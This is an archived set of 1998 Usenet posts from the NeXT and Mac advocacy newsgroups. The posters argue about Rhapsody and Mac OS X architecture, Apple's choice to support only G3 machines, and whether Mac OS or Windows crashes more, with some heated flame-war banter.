http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Message-ID: <forrestDELETE-THIS!-3107982152450001@term1-24.vta.west.net>
References: <35C2316C.44D137A2@intnet.mu>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sat, 01 Aug 1998 04:53:12 GMT
NNTP-Posting-Date: Fri, 31 Jul 1998 21:53:12 PDT
In article <35C2316C.44D137A2@intnet.mu>, Eddy Young <young@intnet.mu> wrote:
> Does Apple plan to release MacOs X (Rhapsody) on Intel platforms?
Mac OS X Server 1.0, code-named Rhapsody, consists of the Mach 2.5++
kernel, Yellow APIs, an 'opaque' Classic MacOS environment called "Blue
Box" in the PPC version, and the Display PostScript imaging model. It will
be released for both PowerPC and IA32 (also known as "x86") architectures.
Mac OS X (2.0?), rumored to be code-named Cyan, consists of the Mach 3.0
microkernel, Yellow Box, Mac OS Toolbox, and Carbon APIs, with the
Enhanced QuickDraw imaging model. It will be released for PowerPC only
(and, as a side note, only has drivers for Gossamer-based motherboards,
and hence will only run on PowerMac G3's out-of-the-box). Apple has,
however, expressed interest in developing an OS for the IA64 ("Merced")
architecture, and the "1.0" in the name of Mac OS X Server suggests that
there will be a separate server line continuing on after "Mac OS X", which
could perhaps continue on IA32.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 21:27:00 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35C2288D.51B6@earthlink.net>
References: <joe.ragosta-2607980812040001@elk85.dol.net> <B1E0EBB7-480CD@206.165.43.124>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Lawson English <english@primenet.com>
Lawson English wrote:
> But the professionals are the ones who bought the 604e-based machines.
> THOSE are the ones who would be most likely to use MacOS X and they can't.
Exactly!
Steve
-------------------------------------------------------------
Support pre-G3's with Mac OS X!!!!!!
http://www.xlr8yourmac.com/osx_petition.html
-------------------------------------------------------------
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 31 Jul 1998 14:26:01 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3107981426010001@1cust64.tnt1.santa-barbara.ca.da.uu.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com> <MPG.1028195454173173989a36@news.supernews.com> <6pm5nd$a5v$1@lwnws01.ne.highway1.com>
In article <6pm5nd$a5v$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Um, no I wasn't. I didn't have to win much in the way of money. $1 would
> have been enough if he contended it, b/c it would have cost him dearly; I
> believe it should cost you something in the end if you mischaracterize what
> others say with no admission of fault or remorse
And how would $1 cost him dearly? Because the judge agreed with you that
he was acting inappropriately and your good name was polished by the
judge? I dont think so, Joe would just claim the judge is a pc using
wintel troll who was out to get him because macs gave the judge a
inferiority complex ;)
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 14:22:04 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3107981422050001@1cust64.tnt1.santa-barbara.ca.da.uu.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net> <6psofk$eb6$1@news.spacelab.net> <35C1F3A8.2B36FFA2@exu.ericsson.se> <geh-3107981123110001@odo.safe.internal>
In article <geh-3107981123110001@odo.safe.internal>, geh@safe.com (Graeme
Hiebert) wrote:
> And any upgrade to the 386 short of replacing the motherboard and
> processor -- the equivalent of putting a whole new computer into an old
> case -- will not run NT 5.0, which will be much more comparable to MacOS X
> than will be Win95 (which, by the way, is no longer a current Microsoft
> product.)
Thats whats so great about pc's, Go to Frys and pick up a motherboard with
a p2 300 for what, $300, and for $300 you have just upgraded your 386 to a
p2 300. Now take a mac 2 si. For $300 can you upgrade it to a g3 233?
HAHAHAHAHAHAHAHAHAHHAHAHAH
HASHAHAHAHAHAHAHAHAHAHHA
HAHAHHAHAHHAHAHHAHAHHAHHA
Let me tell you, I have only bought macs, and have bought about a dozen
macs since the macplus, and good lord do I wish you could buy g3's like
you can buy a p2 motherboard with p2 processor for such a low price, and
just put it in a 386!
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 31 Jul 1998 14:19:58 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net>
From todays santa barbara news press, editorial page, a readers letter:
<title> Working on Apple's newest G3, and loving it </title>
As a long-time reader and techno-guy (uh huh, yes you are just so wise, mr
g3's are at least twice as fast as a intel 400 mhz pc), I wonder why the
weekly monday featrure on computer related issues in the News-Press is so
unfriendly toward Appel computers.
The article on the recent Macworld show typifies the negative attitude
and dismissal of Macs as a viable entity in the hi-tech world.
Peter Lewis, author of the biased and misinformed article, obviously
has never seen or used the new Macintosh g3, which is at least twice as
fast (sic) as a 400 mhz intel pc.
The imac, which he ridicules as "an aqua and white beach ball of a
computer, "runs on the g3 processor, and runs circles around any PC when
it comes to rendering graphics (sic, I guess this Einstein hasnt seen
Apple's own internal tests with 15 photoshop plugins) and creating
multimedia web pages or special effects for advertising or tv or films.
Likewise, Lewis makes no mention of the announcement by Steve Jobs at
the show of Apple's higher than expected three straight quarters of
profits. Fortunately some of us have seen Apple's potential and have
watched our investment in Apple stock triple in the past six months since
the new g3 came on the market. (six months? What does this guy have, a
third grade education?)
As co-lead teacher in the multi-media Arts & Technology Academy at
Santa Barbara High School, I have been fortunate to work with students
who have these new Macintosh g3s on which to work, creating incredible
award-winning projects and digital films. (hmmm, I am so happy that with
many school districts in california with only portable classrooms with no
air conditioning, and tempetures in classrooms reaching in the %100 degree
range, that the state can afford to give SBHS enough money to buy
expensive computers, plus the software that is even more expensive)
Apple has always been known to be much more user-friendly (absolutely
true), and in education we see the obvious advantage of the macintosh g3
power pc's over the IBM clone PCs, as have animators in many fields.
It does all your readers a disservice to misinform the because of
ignorance of irresponsible/biased journalism (HAHAHAHHAHAHAHAHAHHAHAHAHA,
how F*CKING funny coming from you, Mr "the g3 is twice as fast as a intel
400 mhz"). May we please see more objective and informed reporting,
especially in this highly volatile hi-tech domain?
Rodger Dawson
Santa Barbara
</ end readers letter to the editor>
The statements in the () were MINE and not in the original letter.
Well, the good news is APple's commercials ARE most definitely working.
The CLUELESS are buying it hook line and sinker, which while bothering me
for intellectual reasons (ie its not true), makes me happy in that it
should brighten Apple's prospects. If these ads cause apple to skyrocket
in total marketshare to %10 or %20 (worldwide marketshare is only %3 now),
I would be very happy.
Apple increasing its marketshare is a GOOD THING, even if it causes
idiots to spew such idiotic comments. And this guys comment is as
stupid as a wintel person bragging about how the p2 chip causes the
computer to have "more vibrant colors".
This letter greatly bothers me, in that utterly stupid comments bother me,
but does also show that APple's mindshare is increasing.
(NOTE, I tried to figure out what "rodger Dawson's" email address was so I
could send a copy of this to him so he would have a chance to reply, but
the only rodger dawson I found was back east. So instead I only emailed
it to another official at sbhs (the advisor to the santa barbara high
school arts and technology workshop, which is the most similiar thing to
multi-media Arts & Technology Academy at Santa Barbara High School I could
find , in case he knew the above person and wanted to forward it to him,
so Mr Dawson could reply back to my comments in comp.sys.mac.advocacy
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 23:44:01 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980731232126.3174B-100000@ux10.cso.uiuc.edu>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net> <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu> <MPG.102ac13ecf3d65f989a55@news.supernews.com> <Pine.SOL.3.96.980731090758.6876C-100000@ux7.cso.uiuc.edu> <MPG.102c0f534d81c682989a65@news.supernews.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <MPG.102c0f534d81c682989a65@news.supernews.com>
On Fri, 31 Jul 1998, Donald Brown wrote:
> <sigh> I'm not going to get out of this thread, am I?
Hmm... I guess not. :)
> In article <Pine.SOL.3.96.980731090758.6876C-100000@ux7.cso.uiuc.edu>,
> tokarek@uiuc.edu says...
> > On Thu, 30 Jul 1998, Donald Brown wrote:
> >
> > > Then it may be time to close this discussion out. Joe and I are saying
> > > "yes the costs are there", you and others are saying "no there are no
> > > costs".
> >
> > You are boiling down the arguements to irrelevancy. At that level, that is
> > absolutely _NOT_ what I and others are saying! You are misconstruing our
> > position. We agree with you at that level.
> >
> > We are saying that there _are_additional_ costs to supporting older
> > machines, _BUT_ that these costs should not be a cause to drop support for
> > these machines _for_several_reasons_.
>
> I did overspeak. The counter position is that "the costs are minimal and
> we know they will be minimal and so Apple should make promises based on
> the fact that those costs will be minimal."
Actually, it's not even that (at least for me). I want Apple to say that
it is _considering_ support for these machines. I don't need a promise
either way just yet. I want to hear Apple say that it understands the
reasons for supporting these machines, but the determination of whether it
is possible or reasonable cannot be made at this time.
Apple has done _nothing_ remotely like this. Apple has explicitly stated
that all its work will be getting it to run on PowerMac G3 and future
machines. Nearly everything Apple has said excludes any pre-G3 PowerMacs
from being supported.
> > I will state these reasons. Please point out the specific ones you
> > disagree with.
> >
> > Some of these reasons are:
> >
> > The return from supporting these machines will more than make up for the
> > cost of writing support for these machines and even continuing technical
> > support for these machines (especially when you consider that technical
> > support is not free anymore).
>
> Depends. We've had, if I count right, 14 people on csma screaming about
> being ripped off. I'm making an assumption that the required memory and
> the disk space necessary will be much greater.
Much greater than Rhapsody? I doubt it. There will certainly be more with
Carbon and the like added, but don't forget that the BSD layer is being
ripped out too.
Required memory and disk shouldn't be significantly affected. There may be
somewhat increased requirements, but the class of machines that we're
talking about here can handle it (my machine for instance can handle 1 gig
of RAM and the 9500s and 9600s 1.5 gigs of RAM which is something that no
current G3 can approach let alone touch).
> If that is so, I'm not
> sure how many extra copies will be sold. The figure I saw thrown about
> of 1 million sales (which was then multiplied out and used as a total)
> seems very overstated to me.
Actually, I assumed half a million sales. Remember, Mac OS 8 sold 2
million copies in its first 2 months (though it was available to more
hardware than Mac OS X will be).
> If the 14 people complaining here are the ones that buy, OS X would be a
> money loser. If the number of one million buy, OS X would be a money
> maker. I don't know where the break even point is, and I don't know how
> confident Apple is that they would sell that many.
Based on my not-so-accurate-but-hopefully-way-overestimated estimates,
400,000 copies of the OS to cover that cost assuming my underestimated
profit after distribution and packaging for selling the OS at $100. If
Apple prices it higher, even fewer people could buy it for a break-even
(but the higher price might be more of a barrier to acceptance)..
> Ten million dollars addition will probably be too big. Of course, Apple
> will be increasing expenses anyway as they build this, and I think we're
> going to see some just over break-even quarters next year. Could this
> move it over the top? Depending on how big it is, yes it could. Would
> that be a bad thing? Oh, boy, would it ever.
If it would indeed do so, it would be a bad thing. I doubt it would, but I
don't have much specific evidence for that doubt.
> > Apple would not end up alienating an even larger portion of the customer
> > base at a time when it needs all the loyalty it can get.
>
> Avoiding alienating them would be a good thing. Blowing the ship date
> would be a bad thing. I'm not the guy whose job depends on making those
> decisions properly, I can see the reasons why he makes the decision he
> does, so I'm not going to second-guess him.
I have little confidence in 'his' reasons for doing this.
> > Apple presents the hardware platform as having backwards compatability for
> > a significant amount of time making the OS+Hardware platform more viable
> > in the eyes of people outside the platform who are at all considering it.
>
> It also represents the hardware platform that lost a billion dollars last
> year and has had a shifting OS strategy. Sticking to a strategy and
> delivering it successfully with a kick-ass OS will make the platform most
> viable. Failing to deliver or delivering a product that supposedly runs
> on lots of machines but crashes regularly on the machines promised will
> make the platform very unviable.
If that is what happens then it would be bad. That is not what has to
happen. Apple could deliver a product that runs on a lot of machines and
is incredibly stable. That would be much better.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 15:19:37 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6ptgfm$n75$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6pt1jt$3gb$1@nnrp1.dejanews.com> <joe.ragosta-3107981521390001@wil53.dol.net>
NNTP-Posting-Date: 31 Jul 1998 22:29:10 GMT
Joe Ragosta wrote in message ...
>Not in the same way. You can't drag the System Folder to the trash in Mac
>OS, but you can delete the Windows folder in Windows.
You cannot drag the Windows folder to the trash. On blind fait in MS, I just
tried it, not knowing what would happen. You get the following message:
"WINDOWS is a Windows system folder and is required for Windows to run
properly. It cannot be deleted." And I just tried it on MacOS 8.1, and got a
similar message: "The System Folder cannot be put in the Trash, because it
contains the active system software". That leads me to believe that if you
boot to another drive, you can then put the System Folder into the trash and
delete it on a Mac.
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <adtEwzCIF.2JC@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net> <Pine.SOL.3.96.980730104650.4469A-100000@ux8.cso.uiuc.edu> <joe.ragosta-3007981241560001@wil44.dol.net> <6pqk6v$qs5$1@nnrp1.dejanews.com> <joe.ragosta-3007981652140001@wil78.dol.net> <6pr26d$jco$1@nnrp1.dejanews.com> <joe.ragosta-3107981040050001@wil31.dol.net>
Date: Fri, 31 Jul 1998 22:15:51 GMT
Sender: adt@netcom10.netcom.com
Joe Ragosta (joe.ragosta@dol.net) wrote:
: Not necessarily true. What about the drivers? And the kernel?
PowerMac 8x00 and 9x00 604e based systems were/are used by Apple itself
for both Rhapsody and kernel development, add to this the fact that one of
the motivations behind a microkernel is easy porting between hardware
architectures, add to this the MkLinux group (which is assisted by Apple)
and it's parallel involvment in kernel development on PowerMac systems ...
The possible exclusion of such systems (8x00, 9x00) is highly questionable
and is more likely to be a political issue, not a technical issue.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 01 Aug 1998 03:24:11 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C2C292.89CE6B00@earthlink.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net> <35BE0653.4865BF1E@earthlink.net> <joe.ragosta-2907980906550001@wil64.dol.net>
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Joe Ragosta wrote:
> In article <35BE0653.4865BF1E@earthlink.net>, jontemple@earthlink.net wrote:
>
> > MacOS X uses the same kernel as that used by MkLinux --- Mach 3.0. This
> runs on
> > ALL PowerMacs, including NuBus.
>
> True. but MkLinux doesn't have Yellow Box, Blue Box, PDF, or the Rhapsody
> IOkit model. So it's irrelevant to this discussion.
>
Nope. It's totally relevant because these services talk to Mach. As far as
IOKit goes, the drivers are there and the kit makes writing drivers easier. It
is also an easier task for Apple because a lot of resusable code in the
Rhapsody drivers.
> >
> > The statement that OS X uses an "entirely new driver architecture" is
> > questionable. OS X will be basically what Rhapsody is now --- Mach
> kernel with
> > BSD 4.4 UNIX layer. In fact, everything that Apple wants to add to OS X
> already
> > runs on PCI Macs.
>
> Not true. Try IOkit, PDF graphcs, and Carbon just for starters.
Carbon will speak to the kernel --- this is hardware abstraction. PDF graphics
never get near the hardware --- it plugs the gaps left where Display Postscript
was ripped out.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 23:51:23 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980731234811.3174C-100000@ux10.cso.uiuc.edu>
References: <35c1d9b6.0@news.depaul.edu> <B1E7A648-5062B@206.165.43.145> <01bdbd38$404f50c0$97b5dccf@samsara>
Mime-Version: 1.0
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In-Reply-To: <01bdbd38$404f50c0$97b5dccf@samsara>
On 1 Aug 1998, Jonathan Hendry wrote:
> Lawson English <english@primenet.com> wrote in article
> <B1E7A648-5062B@206.165.43.145>...
> >
> > Snicker. Then why would anyone have bought a PCI Mac if they had an
> > inkling that the new OS wouldn't work with the PCI peripherals?
>
> Lawson, you don't understand. As usual.
>
> First, some set of PCI devices will work - a set useful for a role as
> a server. Apple is not going to support every PCI device available,
> because many devices aren't targeted for servers.
Yeah, and because it's not Apple's job to do so. It is the job of the
manufacturers of these devices to write drivers. Apple does not have the
hardware details of these things and Apple should not be responsible for
them.
> Second, there will be little incentive for companies to write Rhapsody
> drivers, unless their products are useful in servers.
Why? What makes Rhapsody such a great server OS? I thought this has been
brought up before. I believe there was an article on Stepwise a while back
that pointed out how silly it would be to position Rhapsody as a server OS
only.
> End result: many PCI devices won't work with (or, rather, will be
> ignored by) Rhapsody.
That is still not relevant to Mac OS X.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokark>
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 15:27:16 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6ptgu1$nd3$1@plo.sierra.com>
References: <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net> <6pt9ce$est$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 31 Jul 1998 22:36:49 GMT
quinlan@intergate.bc.ca wrote in message
<6pt9ce$est$1@nnrp1.dejanews.com>...
>In article <joe.ragosta-3107981049230001@wil31.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>> A programmer who made that error would find it the first time he tested
>> the program. He'd fix it, and it would be over.
If he's working on any kind of Unix, Windows, or BeOS, then yes, he would
immediately find it, because the system would halt the app, and the debugger
would show him the exactly line of source. If he's on MacOS, the system
freezes, with no indication whatsoever where the error is. He will then
spend several minutes rebooting, and restarting the app and trying to
reproduce the same conditions.
>Not necesarily, a lot of C/C++/Toolbox functions return nil if a memory
>allocation fails. So you have to produce a failure to produce the error.
That
>can be hard to test.
Yup.
>Also, there are a lot of Mac OS programs that read from address zero. I
>remember that Apple had to back away from a change to the operating system
>because a lot of programs would crash if there wasn't a 0 byte in the first
>255 bytes of memory.
The first 4 bytes of a Mac's memory do not contain 0, they point to an
invalid address, so if you have a null pointer, and dereference it, then
you'll get an error.
Date: Fri, 31 Jul 1998 19:38:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-3107981938430001@elk71.dol.net>
References: <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6pt1jt$3gb$1@nnrp1.dejanews.com> <joe.ragosta-3107981521390001@wil53.dol.net> <6ptikb$sv7$1@nnrp1.dejanews.com>
In article <6ptikb$sv7$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-3107981521390001@wil53.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Not in the same way. You can't drag the System Folder to the trash in Mac
> > OS, but you can delete the Windows folder in Windows.
>
> I can't drag the System Folder to the trash? Doesn't the Mac OS installer
> sometimes generate a message like "The installed System version cannot be
> updated. Please drag your System Folder to the trash and try again?" I'll try
> dragging the System Folder to the trash when I get home.
You can't drag the active system folder to the trash. To do it, you need
to start from a CD or other System folder.
>
> > Also true of Windows 95 or NT. Just ask the Navy.
>
> I said that NT and Windows 95 have a good chance of protecting you from an
> application crash. Not that they make it impossible. The Mac OS, OTOH, cannot
> even protected you from simple memory overwrites.
Not entirely true.
But your theory is nice--how about some _evidence_ that Win95 crashes less
than Mac OS?
>
> > > crash. In the Mac OS and Windows 95, the user can wipe out the
entire OS by
> > > doing something stupid. Therefore, in those two dimensions, Windows 95 is
> > > better in one and equal in another.
> >
> > Wrong. Until you can show that either of these events is more likely in
> > Mac OS, you don't have a case.
>
> I don't think that many people would argue that the Mac OS is more crash prone
> than Windows NT. Some might argue that Windows 95 is as crash prone as the Mac
> OS but that has not been my experience. And when doing development work, the
> Mac OS is definitately more prone to crashing than Windows 95.
Evidence?
I'm not going to argue about NT because Rhapsody was developed
specifically to compete with NT.
But it would be nice for someone to provide some evidence instead of just
waving their hands and claiming that Win95 crashes less than MacOS.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-3107982159150001@term1-24.vta.west.net>
References: <andyba-ya02408000R3107981030580001@news> <1998080101261100.VAA09290@ladder03.news.aol.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sat, 01 Aug 1998 04:59:41 GMT
NNTP-Posting-Date: Fri, 31 Jul 1998 21:59:41 PDT
In article <1998080101261100.VAA09290@ladder03.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> MJP - rather than NeXT Nazis, how about an efficiency expert observing that by
> arranging the menu vertically instead of horizontally, one then has room for
> three entries (print, hide and quit) which may then be accessed in a quicker
> fashion, point and click instead of point, click/drag/release?
I think that in an optimal UI, Hide and Quit would be in a universal
Processes menu (like the Applications menu, but with windows listed in it
as well), and printing would be done by dragging the document (or it's
title bar proxy icon) to a printer device on the Tray (not the same as the
NeXT tray - my Tray is an always-top-level verticle collumn on the right
side of the screen where top-level devices like disks, printers, scanners,
and the like appear).
> I'm using a Mac at work now [. . .] how awkward printing is. (Chooser,
> page setup print, options print, repeat). ::sigh::
Make some Desktop Printers with the Chooser, then all you need to do is
drag the document(s) to the printer you want it to print it on and set up
your options in the Print dialog that appears. Click OK and off the
documents go.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 98 16:48:47 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E7A5F3-4F23F@206.165.43.145>
References: <joe.ragosta-3107981038520001@wil31.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta said:
>Only if you have unlimited resources.
>
>Apple can't afford another quarter in the red any time soon. Spending
>extra money on testing means that something else slips. Which projects
>would you like to see slip?
Joe. Apple has a HUGE pile of cash and short-term investments. I don't know
how much, but I believe that it is well over $1 billion, and I've heard
rumors of $2 billion. Let's play pretend here:
Pretend that it takes 10 bodies per computer model to adequately test that
model and that each body costs $1 million per year.
OK, that's $10 million per model.
